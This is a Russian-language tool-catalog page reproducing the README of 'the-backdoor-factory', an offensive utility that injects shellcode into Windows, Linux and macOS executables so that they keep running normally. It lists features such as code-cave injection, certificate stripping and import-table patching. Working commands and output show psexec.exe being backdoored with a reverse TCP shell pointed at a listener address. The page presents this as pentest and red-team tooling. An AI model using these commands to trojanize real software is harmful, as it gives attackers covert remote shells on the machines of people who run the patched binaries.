Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
the-backdoor-factory — Патч PE, ELF, Mach-O бинарных файлов с shellcode, новая версия в разработке, доступна только спонсорам | Kitploit
Инструменты/GitHubGitHub/secretsquirrel/the-backdoor-factory
ЭксплуатацияОбратная инженерияШелл-кодПост-эксплуатацияАнализ вредоносных программТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

Патч PE, ELF, Mach-O бинарных файлов с shellcode, новая версия в разработке, доступна только спонсорам

РепозиторийСайт
3.4k774212 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Новая версия BACKDOOR FACTORY доступна! Получить доступ здесь: https://github.com/sponsors/secretsquirrel

ПРЕДУПРЕЖДЕНИЕ: Pull Requests БУДУТ ПРОИГНОРИРОВАНЫ И ЗАКРЫТЫ.

The Backdoor Factory (BDF)

Только для специалистов по безопасности и исследователей.

Цель BDF — патчить исполняемые бинарные файлы пользовательским шеллкодом и продолжать нормальное выполнение из исходного состояния.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

Видео: https://www.youtube.com/watch?v=OuyLzkG16Uk

Статья: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Видео: https://archive.org/details/joshpitts_shmoocon2015

Статья: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Видео: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Видео: http://www.youtube.com/watch?v=jXLb2RNX5xs

Демонстрация модуля инъекции: http://www.youtube.com/watch?v=04aJAex2o3U

Слайды: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Связаться с разработчиком:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Под лицензией BSD 3-Clause

Смотрите вики: https://github.com/secretsquirrel/the-backdoor-factory/wiki


Установка

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

СТАРЫЙ СПОСОБ

Зависимости

#####Чтобы использовать OnionDuke, вы ДОЛЖНЫ находиться на машине Intel, так как aPLib пока не поддерживает набор команд ARM.

Capstone engine можно установить из PyPi с помощью:

sudo pip install capstone

Pefile, последняя версия:

https://code.google.com/p/pefile/

osslsigncode (включён в репозиторий):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Установка в Kali:

  apt-get update
  apt-get install backdoor-factory

ДРУГИЕ *NIX/MAC УСТАНОВКА:

./install.sh

Это установит Capstone с 3.01 pip и установит pefile.

ОБНОВЛЕНИЕ:

./update.sh

Поддержка:

Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
и Mach-O x86/x64, а также эти форматы в FAT-файлах

Упакованные файлы: PE UPX x86/x64

Экспериментально: OpenBSD x32 

Некоторые исполняемые файлы имеют встроенные защиты, поэтому этот инструмент будет работать не со всеми бинарными файлами. Рекомендуется тестировать целевые бинарные файлы перед развертыванием у клиентов или использованием в упражнениях. Я на пороге обхода NSIS, так что обход этих проверок будет добавлен в будущем.

Большое спасибо Райану О'Нилу --ryan 'at' codeslum <d ot> org--
Без него я бы до сих пор пытался делать глупые вещи 
с форматом ELF.
Также спасибо Silvio Cesare с его статьёй 1998 года 
(http://vxheaven.org/lib/vsc01.html), на которой основаны 
эти методы патчинга ELF.

Недавно протестировано на многих бинарных файлах.

./backdoor.py -h Использование: backdoor.py [опции]


##Возможности:

###PE файлы

Может находить все код-кейвы в EXE/DLL.
По умолчанию очищает указатель на таблицу сертификатов PE, тем самым снимая подпись с бинарного файла.
Может внедрять шеллкод в код-кейвы или в новую секцию.
Может определить, нужно ли запускать PE-бинарный файл с повышенными привилегиями.
При выборе код-кейвов можно использовать следующие команды:
  -Jump (j), для прыжка по код-кейву
  -Single (s), для размещения всего шеллкода в одном кейве
  -Append (a), для создания код-кейва
  -Ignore (i или q), неважно, игнорировать этот бинарный файл
Может игнорировать DLL
Патчинг таблицы импорта
Автопатчинг (-m automtic)
Onionduke (-m onionduke)

###ELF файлы

Расширяет TEXT SEGMENT на 1000 байт и внедряет шеллкод в эту секцию кода.

###Mach-O файлы Патчинг секции Pre-Text и удаление подписи

###В целом

Пользователь может:
  -Предоставить свой шеллкод.
  -Патчить каталог исполняемых файлов/DLL.
  -Выбирать только x32 или x64 бинарные файлы для патчинга.
  -Включать BDF в другие проекты Python, см. pebin.py и elfbin.py

Пример использования:

###Патчинг exe/dll с использованием существующего код-кейва:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Патчинг exe/dll добавлением секции кода:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Патчинг каталога exe: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...вывод слишком длинный для README...


Скачать инструмент